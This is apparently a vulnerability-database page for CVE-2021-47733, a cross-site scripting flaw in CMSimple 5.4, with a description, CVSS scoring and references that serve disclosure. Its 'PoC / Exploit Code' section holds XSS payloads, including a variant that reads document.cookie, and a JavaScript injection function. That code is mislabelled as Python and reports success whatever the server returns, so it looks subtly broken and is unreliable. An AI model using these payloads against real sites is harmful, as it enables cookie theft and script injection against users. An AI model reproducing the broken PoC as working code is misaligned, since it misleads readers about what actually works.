CVE-2021-47733

Description

CMSimple 5.4 contains a cross-site scripting vulnerability that allows attackers to bypass input filtering by using HTML to Unicode encoding. Attackers can inject malicious scripts by encoding payloads like ')-alert(1)// and execute arbitrary JavaScript when victims interact with delete buttons.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cmsimple:cmsimple:5.4:*:*:*:*:*:*:* - VULNERABLE

CMSimple 5.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2021-47733 PoC - XSS via HTML Unicode Encoding in CMSimple 5.4 -->
<!-- Inject this payload into any user-input field (e.g., page content, comments) -->
<script>
// Encoded XSS Payload: ')-alert(1)//
// HTML Unicode encoded form
const encodedPayload = '&#39;)-alert(1)//';

// Alternative direct payload (may be filtered)
const directPayload = "')-alert(1)//";

// Simulate form submission to inject XSS
async function exploitXSS(targetUrl) {
    const formData = new FormData();
    formData.append('content', encodedPayload);
    
    try {
        const response = await fetch(targetUrl, {
            method: 'POST',
            body: formData,
            credentials: 'include'
        });
        console.log('XSS payload injected successfully');
    } catch (error) {
        console.error('Exploitation failed:', error);
    }
}

// When victim interacts with delete button, the XSS will be triggered
// The encoded payload will be decoded by browser and executed as: ')-alert(1)//
</script>

<!-- Simple HTML PoC for manual testing -->
<!-- Submit this value in any CMSimple input field: -->
<!-- &#39;)-alert(document.cookie)// -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2021-47733
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2021-47733
[3] CVE Details https://www.cvedetails.com/cve/CVE-2021-47733/
[4] VulDB https://vuldb.com/cve/CVE-2021-47733
[5] https://www.cmsimple.org/en/
[6] https://www.exploit-db.com/exploits/50612
[7] https://www.vulncheck.com/advisories/cmsimple-cross-site-scripting-via-html-unicode-encoding

Raw JSON Data

JSON

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